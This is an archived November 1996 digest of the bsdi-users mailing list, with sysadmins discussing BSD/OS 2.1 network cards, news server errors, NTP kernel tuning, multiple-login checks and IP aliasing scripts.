(lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA05147 for ; Wed, 27 Nov 1996 23:23:22 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id XAA24106 for bsdi-users-outgoing; Wed, 27 Nov 1996 23:20:05 -0500 (EST) Message-ID: X-Mailer: XFMail 0.5-alpha [p0] on Linux Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199611261316.NAA12089@genesis.domino.org> Organization: Golden Triangle On-Line Precedence: bulk From: Joe Hohertz Sender: owner-bsdi-users@lists.gateway.com To: "Neil J. McRae" Cc: "Neil J. McRae" , bsdi-users@BSDI.COM Subject: Re: 100BaseTX Fast Ethernet On BSDI 2.0 Date: Wed, 27 Nov 1996 23:17:34 -0500 (EST) >Firstly why you want to use 100TX is questionable, but the >SMC 10/100 Etherpower works fine. Goodie.... maybe we won't have to rebuild our 2.0 systems then. Our reasons for going fast ethernet are not at all questionable. We are a large ISP, and still growing fast, and we have a genuine need for a faster network. >I'll bet lots and lots of pounds that 90% of the people on this >list are running 100TX, when they don't need too. Could be.... be we're not them. ;) Thanks for the info. From VM Sun Dec 1 18:01:36 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["725" "Wed" "27" "November" "1996" "23:25:19" "-0500" "Joe Hohertz" "jhohertz@golden.net" nil "15" "Re: 100BaseTX Fast Ethernet On BSDI 2.0" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA05153 for ; Wed, 27 Nov 1996 23:24:54 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id XAA24114 for bsdi-users-outgoing; Wed, 27 Nov 1996 23:25:26 -0500 (EST) Message-ID: X-Mailer: XFMail 0.5-alpha [p0] on Linux Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Organization: Golden Triangle On-Line Precedence: bulk From: Joe Hohertz Sender: owner-bsdi-users@lists.gateway.com To: Sam Brown Cc: "Neil J. McRae" , bsdi-users@BSDI.COM Subject: Re: 100BaseTX Fast Ethernet On BSDI 2.0 Date: Wed, 27 Nov 1996 23:25:19 -0500 (EST) On 26-Nov-96 Sam Brown wrote: >>I agree. Most people just need to go spend a $1G or so and get a >tigerswitch or something to switch their networks instead of hub'ing them. >the 24 port tigerswitch is like $1200 on the market these days. Nothing >fancy, remove hub, turn on switch, plug in jacks. no more congestion.. >Mind you a 24 port 100 megabit hub would be like $20,000. Do you really >need 100 megabit because collisions occur just as often on 100 megabit it >seems. I know the value of a switch. We have one right here. Cisco Catalyst 1201. Nice little box. Does it's job well. The reason for the switch to 100BaseTX is because we are planning for the day when our pipe to the Internet matches or exceeds 10Mbps. From VM Sun Dec 1 18:01:36 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["560" "Wed" "27" "November" "1996" "23:28:53" "-0500" "Joe Hohertz" "jhohertz@golden.net" nil "17" "Re: 100BaseTX Fast Ethernet On BSDI 2.0" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA05157 for ; Wed, 27 Nov 1996 23:27:48 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id XAA24122 for bsdi-users-outgoing; Wed, 27 Nov 1996 23:28:50 -0500 (EST) Message-ID: X-Mailer: XFMail 0.5-alpha [p0] on Linux Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <3.0.1.32.19961126103828.00a087b0@popgw.firstdata.com> Organization: Golden Triangle On-Line Precedence: bulk From: Joe Hohertz Sender: owner-bsdi-users@lists.gateway.com To: Kent Ketell Cc: Sam Brown , "Neil J. McRae" , bsdi-users@BSDI.COM Subject: Re: 100BaseTX Fast Ethernet On BSDI 2.0 Date: Wed, 27 Nov 1996 23:28:53 -0500 (EST) On 26-Nov-96 Kent Ketell wrote: >>I concur that switches can be used in place of hubs with great >improvement in overall performance. I like to hook up my servers >at 100Mbit tho, and have all of the users talk to them at 10Mbit >(with a few heavy hitter excepted). This makes for a nice clean >installation. That is pretty much what we plan to do here. All the office/showroom machin es will still be on a 10Mbps segment. Just the core system is going 100Mbps >Of course, it all takes serious bucks to do. Hey, it's not my money I'm spending. ttyl From VM Sun Dec 1 18:01:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["601" "Wed" "27" "November" "1996" "21:07:25" "-0800" "Mike Cheng" "mcheng@irc.intergate.bc.ca" nil "19" "INND rejecting every article!" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA06507 for ; Thu, 28 Nov 1996 00:13:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id AAA24211 for bsdi-users-outgoing; Thu, 28 Nov 1996 00:02:31 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Mike Cheng Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: INND rejecting every article! Date: Wed, 27 Nov 1996 21:07:25 -0800 (PST) I've just finished upgrading my news server to BSDI 2.1 with the latest patches and hell broke loose! My server accepts feed from my provider but rejects 99% of the incoming articles. The logfile shows error #437 "Bad Date". My users can connect but can not post (same error). The strange thing is, I've not made any changes to my config files. Has anyone seem this problem before? Michael M.F. Cheng email : mcheng@intergate.bc.ca Systems Administrator office: 1.604.654.6088 Internet Gateway Corporation Vancouver, British Columbia Canada From VM Sun Dec 1 18:01:40 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1664" "Thu" "28" "November" "1996" "00:35:30" "+0100" "Geert Jan de Groot" "GeertJan.deGroot@ripe.net" nil "36" "Re: 3C905 100baseT NICs" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA06512 for ; Thu, 28 Nov 1996 00:13:42 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id AAA24280 for bsdi-users-outgoing; Thu, 28 Nov 1996 00:13:26 -0500 (EST) Message-Id: <9611272335.AA13560@ncc.ripe.net> X-Organization: RIPE Network Coordination Centre X-Phone: +31 20 592 5065 Precedence: bulk From: Geert Jan de Groot Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: 3C905 100baseT NICs Date: Thu, 28 Nov 1996 00:35:30 +0100 To avoid some misunderstandings: - The 3C900 / 3C905 is NOT supported in BSD/OS 2.1. I know of some prototype-work but that isn't ready for prime-time yet. - Having seen these cards in operation, I expect their performance will be similar to the DEC tulip-based cards. Because their inner working is quite different from the 5x9/59x family (which uses PIO, while the 900's use DMA), it is not trivial to make them work. - These cards will be 'recognized' as a 3C509 in 2.1, but they still will not work. The mis-recognition is because of a change of internal numbering inside 3com; if you're really hampered by this, ping me and I will send a patch (to make 2.1 not recognize the card, NOT to make the card work). - These cards are easier to work with under 3.0 than under 2.1, (3.0 has a framework for MII, which the 905 needs), so I think that it is likely that should a driver become available, it would be for 3.0 rather than 2.1, certainly given the impressive amount of work that is done for 3.0. Keep in mind that this card was not listed as supported in the 3.0 pre-announcement sent some time ago. The 3C90x really is very nice. I just wish there would be more hours in a day... Note that as far as the 3C595 goes, the driver does work reliably (if K210-017 has been installed), but since this card doesn't use DMA, currently the tulip-based cards may be a better choice. Disclaimer: I'm just a satisfied customer (with source code..), if you want to have official statements, talk to BSDI directly. Because it isn't nice to be told that a card you just bought doesn't work, I'd rather tell this in advance. Geert Jan From VM Sun Dec 1 18:01:40 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["947" "Wed" "27" "November" "1996" "17:19:40" "-0800" "Jeff Newton" "jeff@datapark.com" nil "39" "ifconfig (point to point link)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA06516 for ; Thu, 28 Nov 1996 00:13:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id AAA24286 for bsdi-users-outgoing; Thu, 28 Nov 1996 00:13:37 -0500 (EST) Message-ID: <329CE8AC.73AA@datapark.com> Organization: Tantalus Commmunications X-Mailer: Mozilla 3.0 (X11; I; SunOS 5.5.1 sun4u) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Jeff Newton Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: ifconfig (point to point link) Date: Wed, 27 Nov 1996 17:19:40 -0800 Hi all, After hours of banging my head against the wall trying to solve this problem, I thought I'd ask the gurus out there for some assistance. I have a multi-homed bsd box I'd like to use as a firewall/gateway. Here's the way I want to set it up: router (XXX.XXX.XXX.254) | | point to point link vi ifconfig | | NIC1 (XXX.XXX.XXX.1) gateway NIC2 (XXX.XXX.XXX.2) | | LAN I've only got one C class and people have said you can't put the same network on two interfaces...others say that a point to point link should work (its easily done with Linux). I figure ifconfig spits up at me cause I don't have the syntax for the point to point right. Can someone show me how to do this? Can this be done by adding static routes in a particular order. Any advice would be much appreciated. Please reply direct as I havent subscribed to the list yet. -- Jeff Newton Systems Administrator Tantalus Communications Datapark Internet Services Inc. From VM Sun Dec 1 18:01:41 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1223" "Thu" "28" "November" "1996" "04:12:14" "GMT" "Ken Oehlers" "ken@greenapple.com" nil "40" "Re: Digiboard Problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA06520 for ; Thu, 28 Nov 1996 00:14:08 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id AAA24268 for bsdi-users-outgoing; Thu, 28 Nov 1996 00:13:04 -0500 (EST) Path: usenet Newsgroups: info.bsdi.users Organization: eNET Inc. - Internet Service Provider Lines: 40 Message-ID: <57j3gn$1fo@news2.ee.net> References: NNTP-Posting-Host: 206.31.168.78 X-Newsreader: Forte Free Agent 1.0.82 Precedence: bulk From: ken@greenapple.com (Ken Oehlers) Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: Re: Digiboard Problems Date: Thu, 28 Nov 1996 04:12:14 GMT Chris, The only time I have seen this is when the ports are not wired correctly... Are you using the db25 or rj-45 style concentrators? If using the rj-45 you either have to invoke the altpin capability or strap the dcd(?). Personally I alway use the db25 to insure complete rs232c compliance. Ken tech-support@greenapple.com chrism@chiba.netxn.com (Chris McGlasson) wrote: >I currently have a digiboard 16/EM, 33.6 USR Modems, and using bsdi 2.1 >OS. >I was wondering if anyone has experience a steady transmit and receive >light after the getty starts the tty process. It's almost as if the digi >board is sending a signal to the modem. I can't seem to figure this one out. >I have tried calling digi on this but the three people I talked to did >not know BSDI OS. ALthough they did say it could be a memory allocation >problem. I'm not sure what they are talking about. >Does this sound like a digi problem or a modem incompatiblity problem? I >do apologize for sending this message again, but if anyone has any ideas >for me, I would really appreciate the input. Thanks in advance. >Chris McGlasson >System Administrator >Net Connection of Bakersfield >805.391.0561 >chrism@chiba.netxn.com From VM Sun Dec 1 18:01:42 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["860" "Wed" "27" "November" "1996" "15:57:00" "-0500" "R. D. Thrush" "rd@thrush.com" nil "28" "Where do you get tickadj ???" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA06524 for ; Thu, 28 Nov 1996 00:14:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id AAA24292 for bsdi-users-outgoing; Thu, 28 Nov 1996 00:13:55 -0500 (EST) Message-Id: <199611272057.PAA26464@tarpit.thrush.com> In-reply-to: dave@calldei.com's message of 25 Nov 96 17:12:48 GMT References: from "Mike Pelletier" at Nov 25, 96 09:58:45 am <199611251712.JAA18449@dei.calldei.com> Precedence: bulk From: "R.D. Thrush" Sender: owner-bsdi-users@lists.gateway.com To: dave@calldei.com (David A. Lee) CC: bsdi-users@BSDI.COM Subject: Where do you get tickadj ??? Date: Wed, 27 Nov 1996 15:57:00 -0500 (EST) FWIW, tickadj isn't required on 2.1. bpatch can be used for the same purpose. My 2.1 machines have a few lines preceding the xntpd startup in /etc/rc like this: ntpdate -bs [IPs of some higher strata ntp servers] bpatch -r tick 9998 bpatch -r tickadj 1 The above bpatch cmds patch the running kernel identically to tickadj -a 1 -t 9998 >>>>> "d" == David A Lee writes: d> Where do you find tickadj ??? I cant find it anywhere on my BSDI2.1 system. d> -David Lee d> dave@calldei.com >> Thanks to suggestions from this list, the NTP clock frequency drift on my >> internet server went from as much as -247.34 to 5.68 parts per million, >> after adding the line: "tickadj -A -t 9998" to my rc file. I suspect I'll >> be getting few step adjustments to the time now. >> >> Thanks again! >> >> =Mike Pelletier. >> >> From VM Sun Dec 1 18:01:42 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1685" "Wed" "27" "November" "1996" "20:51:00" "-0800" "Travis Lytle" "trav@comptec.com" nil "55" "Re: Double Logins" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA06528 for ; Thu, 28 Nov 1996 00:14:21 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id AAA24274 for bsdi-users-outgoing; Thu, 28 Nov 1996 00:13:11 -0500 (EST) Message-Id: <3.0.32.19961127205059.006b5a70@pop.comptec.com> X-Sender: trav@pop.comptec.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Travis Lytle Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Double Logins Date: Wed, 27 Nov 1996 20:51:00 -0800 >Yes there was a conversation, i beleive one remedy was to give each user a STATIC ip address... > At 09:34 PM 11/27/96, you wrote: Well personal I couldn't afford to reserve 400-500 ip address for my users. But then again right now I don't have that many, but if I did I wouldn't want to reserve that many! >On Wed, 27 Nov 1996 20:07:07 -0500, Douglas Sand wrote: > >>Hello Group, >> >>We are seeing more and more of our customers who have installed their >>network connections in a work and home machine using both accounts AT THE >>SAME TIME. >> >>Is there any known way to prevent users already logged into the system from >>being able to log in on a second line? >> >>At one point I do remember a discussion on this, and there was a solution >>which was not liked by anyone because it worked well as long as the user had >>disconnected properly, however, if a user dropped carrier they were then >>locked out of the system until someone manually removed a login files from >>their home directory. >> >>I am sure I am not the only ISP out here with this problem, and any help >>would be much appreciated. >> >>We are using BSD v2.1 with the Apachee Server. >> >>TIA! >> >>Doug >> >>//========================++===============================\\ >>|| Douglas Sand || dsand@cyberzone-inc.com || >>|| CyberZone, Inc. || http://www.cyberzone-inc.com || >>|| Ann Arbor, Michigan || (313) 668-2060 || >>\\========================++===============================// >> >> > > > > Travis Lytle Comptech Internet Services 8793 Plata Lane Suite H Atascadero CA 93422 466-7048 http://www.comptec.com From VM Sun Dec 1 18:01:59 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["127" "Thu" "28" "November" "1996" "09:15:57" "-0500" "Theodore Hope" "bsdi@chanchan.pnic.pnud.org.pe" nil "5" "ping o' death?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA22657 for ; Thu, 28 Nov 1996 09:18:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id JAA26622 for bsdi-users-outgoing; Thu, 28 Nov 1996 09:15:06 -0500 (EST) Message-Id: <199611281415.JAA28319@ChanChan.pnic.pnud.org.pe> X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: Theodore Hope Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: ping o' death? Date: Thu, 28 Nov 1996 09:15:57 -0500 (EST) Does anyone know if BSD/OS is vulnerable to the Ping o' Death? This is described in http://www.sophist.demon.co.uk/ping. -T. From VM Sun Dec 1 18:01:59 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["206" "Thu" "28" "November" "1996" "09:23:30" "-0500" "Theodore Hope" "bsdi@chanchan.pnic.pnud.org.pe" nil "4" "ping o' death (never mind)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA22662 for ; Thu, 28 Nov 1996 09:20:32 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id JAA26630 for bsdi-users-outgoing; Thu, 28 Nov 1996 09:22:28 -0500 (EST) Message-Id: <199611281423.JAA29096@ChanChan.pnic.pnud.org.pe> X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: Theodore Hope Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: ping o' death (never mind) Date: Thu, 28 Nov 1996 09:23:30 -0500 (EST) Regarding my previous message about the Ping o' Death, I hurried and wrote to this list before going through the whole article; it says that BSD/OS (2.0.1, 2.1) is safe. Sorry for jumping the gun. -T. From VM Sun Dec 1 18:02:00 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["451" "Thu" "28" "November" "1996" "14:51:38" "+0100" "Ola Winberg" "olwin@tel.fmv.se" nil "16" "Creating install- or bootfloppy" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA23742 for ; Thu, 28 Nov 1996 10:01:48 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id JAA26666 for bsdi-users-outgoing; Thu, 28 Nov 1996 09:55:42 -0500 (EST) Message-Id: <3.0.32.19961128145137.0060c1e0@[193.12.178.65]> X-Sender: olwin@[193.12.178.65] X-Mailer: Windows Eudora Pro Version 3.0 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Ola Winberg Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Creating install- or bootfloppy Date: Thu, 28 Nov 1996 14:51:38 +0100 Hi, all! I made a stupid buy some time ago, which included the Adaptec 2940AU SCSI-adapter. As a result i can't install the system with my distribution installation floppy. However I've already installed BSDI successfully on a couple of other machines and i would like to make an installdisk of my own, with tailored kernel, all the patches applied, etc. How do I do this? Please help, any pointers in the right direction are appreciated! / Ola From VM Sun Dec 1 18:02:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["316" "Thu" "28" "November" "1996" "15:37:19" "+0000" "Dave MacRae" "dave@businessmonitor.co.uk" nil "13" "Usernames with a . in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA24844 for ; Thu, 28 Nov 1996 10:46:24 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id KAA26768 for bsdi-users-outgoing; Thu, 28 Nov 1996 10:38:59 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Dave MacRae Sender: owner-bsdi-users@lists.gateway.com To: BSD mailing list Subject: Usernames with a . in them Date: Thu, 28 Nov 1996 15:37:19 +0000 (GMT) Does anyone know how can I add a user name with a . in it, eg dave.macrae Regards Dave MacRae -- Business Monitor Webmaster http://www.businessmonitor.co.uk Phone: +44 131 551 3515 Main Office: +44 171 820 7733 Fax: +44 131 551 3514 +44 171 820 0748 From VM Sun Dec 1 18:02:05 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1196" "Thu" "28" "November" "1996" "10:00:05" "-0600" "Jimmy McIlvoy" "jmcilvoy@inter-linc.com" nil "34" "Re: Double Logins" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA25669 for ; Thu, 28 Nov 1996 11:19:01 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id LAA26820 for bsdi-users-outgoing; Thu, 28 Nov 1996 11:15:06 -0500 (EST) Message-ID: <329DB705.69D6@inter-linc.com> Reply-To: jmcilvoy@inter-linc.com X-Mailer: Mozilla 3.0 (Win95; I) MIME-Version: 1.0 References: <1.5.4.32.19961128021246.006aacb0@main.cyberzone-inc.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Jimmy McIlvoy Sender: owner-bsdi-users@lists.gateway.com To: Douglas Sand CC: Brian Backer , bsdi-users@BSDI.COM Subject: Re: Double Logins Date: Thu, 28 Nov 1996 10:00:05 -0600 Douglas Sand wrote: > > Brian, > > Thanks for the response, however, sorry if I was not clear, these accounts > are ppp dial-in accounts without a shell, therefore the "who" will NOT > reflect their being logged in! > In my System, BSDI 2.1 with a Digi-Xem board their shell is ppp. But they still get asked for a login and password. And the do show up when you do a who. This is what I have placed in Dialin.login. It is rudimentary at best, but effective ###################################################### val=`who | grep $1 | wc -l` if [ $val -gt 1 ] ; then date >> /var/log/ml.log echo $1 is tryin to use multiple logins! >> /var/log/ml.log #echo "Multiple Login Detected Check logfile" | mail jmcilvoy@ns1.inter-linc.co$ fi ##################################################### Jimmy McIlvoy Inter-Linc Inc -- _..--''``\--....__ _..,_ ____ _.-'` .-/"; ` ```<._ ``-+'~=. ____ / .-' _..--.'_ \ `(^) ) / / ((.-' (< _ ;.__ ; `~ / / `-._,_)'`` ```--..._____..-' / / Purrrr... / ````````````````````````````````````````````````` From VM Sun Dec 1 18:02:07 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["236" "Wed" "25" "September" "1996" "11:44:49" "-0500" "Donald Dahlman" "druid@eoe-magical.org" nil "8" "adduser" "^From:" nil nil "9" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA26764 for ; Thu, 28 Nov 1996 11:54:00 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id LAA26892 for bsdi-users-outgoing; Thu, 28 Nov 1996 11:49:07 -0500 (EST) Message-ID: <32496181.5C81@eoe-magical.org> X-Mailer: Mozilla 3.0b6Gold (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Donald Dahlman Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: adduser Date: Wed, 25 Sep 1996 11:44:49 -0500 I used the command adduser -D -m 0500 and adduser -D -m 500 to try and change the default directory mode to r-x------ as chmod 500 /usr/home/user1 changes it. man adduser say this will work, however it does not seem to be. any ideas. From VM Sun Dec 1 18:02:10 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1616" "Thu" "28" "November" "1996" "12:28:51" "-0500" "Parthiv Shah" "parthiv@corp.idt.net" nil "65" "Re: netstart entries revisited" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA27869 for ; Thu, 28 Nov 1996 12:34:24 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id MAA26931 for bsdi-users-outgoing; Thu, 28 Nov 1996 12:29:07 -0500 (EST) In-Reply-To: <199611271552.KAA05390@web-ex.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Parthiv Shah Sender: owner-bsdi-users@lists.gateway.com To: Jim Cassata cc: bsdi-users@BSDI.COM Subject: Re: netstart entries revisited Date: Thu, 28 Nov 1996 12:28:51 -0500 (EST) This is how I do it for my web servers it's very simple way of handling it and putting in /etc/netstart you can also run it manually if you want... just run /bin/sh and the following i=1 virtualnetwork=172.16.5 while [ $i -le 253 ]; do ifconfig de0 alias $virtualnetwork.$i netmask $netmask broadcast $virtualnetwork.255 i=`expr $i + 1` done -- Shah, Parthiv http://www.netadmin.net/ parthiv@corp.idt.net (201) 928 - 4414 Systems Administrator at IDT pgp? -> finger parthiv@haven.ios.com On Wed, 27 Nov 1996, Jim Cassata wrote: > Date: Wed, 27 Nov 1996 11:03:59 +0000 > From: Jim Cassata > To: bsdi-users@BSDI.COM > Subject: netstart entries revisited > > after asking the question "what command line entries to use so I don't > have to reboot just to re-read netstart for ip aliasing?", a lot of you > have said you use lo0 (el-oh-zero) for your aliased ips. My netstart is > configured this way: > > hostname=web-ex.com > iface=ne0 > ipaddr=205.230.175.10 > casavetroip=205.230.175.11 > blahip=xxx.xxx.xxx.12 > blahblahip=xxx.xxx.xxx.13 > and so on.... > > further down the ifconfigs look like this: > > ifconfig $iface $casavetroip alias > ifconfig $iface $blahip alias > ifconfig $iface $blahblahip alias > and so on.... > > however, this is using ne0 for the interface. > My question: Is this a bad thing? Should I be using lo0 instead? > and why? > Thanks again > > Jim Cassata > ______________________ > jim@web-ex.com > Web Express, Inc. > 20 Broadhollow Road > Suite 3011 > Melville, NY 11747 > 516.421.6000 > 516.421.3882 fax > From VM Sun Dec 1 18:02:11 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["681" "Thu" "28" "November" "1996" "17:45:40" "+0000" "Neil J. McRae" "neil@domino.org" nil "30" "Re: 100BaseT/TX support in BSD/OS 2.1 " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA28140 for ; Thu, 28 Nov 1996 12:51:00 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id MAA26960 for bsdi-users-outgoing; Thu, 28 Nov 1996 12:50:43 -0500 (EST) Message-Id: <199611281745.RAA13094@genesis.domino.org> X-Authentication-Warning: genesis.domino.org: Host neil@localhost [127.0.0.1] didn't use HELO protocol In-reply-to: Your message of "Tue, 26 Nov 1996 18:57:10 EST." Reply-To: "Neil J. McRae" Precedence: bulk From: "Neil J. McRae" Sender: owner-bsdi-users@lists.gateway.com To: Marxx cc: bsdi-users@BSDI.COM, neil@domino.org Subject: Re: 100BaseT/TX support in BSD/OS 2.1 Date: Thu, 28 Nov 1996 17:45:40 +0000 On Tue, 26 Nov 1996 18:57:10 -0500 (EST) Marxx wrote: SMC Ethernet 10/100 > > > Hi, > > I'm planning on purchasing a 3Com 3C905-TX (Fast EtherLink XL) for > a BSD/OS 2.1 based machine. I will be using it in 10BaseT mode until we > upgrade our hubs. Is this card supported by BSD/OS? What is the most > reliable and best performing 10/100 PCI NIC available for use with BSD/OS? > > Thanks, > > > Charles > -- Neil J. McRae. Alive and Kicking. Domino: In the glow of the night. neil@DOMINO.ORG NetBSD/sparc: 100% SpF (Solaris protection Factor) Free the daemon in your computer! From VM Sun Dec 1 18:02:11 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["666" "Thu" "28" "November" "1996" "17:52:15" "+0000" "Neil J. McRae" "neil@domino.org" nil "27" "Re: Usernames with a . in them " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA28409 for ; Thu, 28 Nov 1996 12:55:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id MAA26971 for bsdi-users-outgoing; Thu, 28 Nov 1996 12:57:06 -0500 (EST) Message-Id: <199611281752.RAA13128@genesis.domino.org> X-Authentication-Warning: genesis.domino.org: Host neil@localhost [127.0.0.1] didn't use HELO protocol In-reply-to: Your message of "Thu, 28 Nov 1996 15:37:19 GMT." Reply-To: "Neil J. McRae" Precedence: bulk From: "Neil J. McRae" Sender: owner-bsdi-users@lists.gateway.com To: Dave MacRae cc: BSD mailing list , neil@domino.org Subject: Re: Usernames with a . in them Date: Thu, 28 Nov 1996 17:52:15 +0000 On Thu, 28 Nov 1996 15:37:19 +0000 (GMT) Dave MacRae wrote: vipw > > Does anyone know how can I add a user name with a . in it, eg dave.macrae > > Regards > > Dave MacRae > > -- > Business Monitor Webmaster http://www.businessmonitor.co.uk > Phone: +44 131 551 3515 Main Office: +44 171 820 7733 > Fax: +44 131 551 3514 +44 171 820 0748 -- Neil J. McRae. Alive and Kicking. Domino: In the glow of the night. neil@DOMINO.ORG 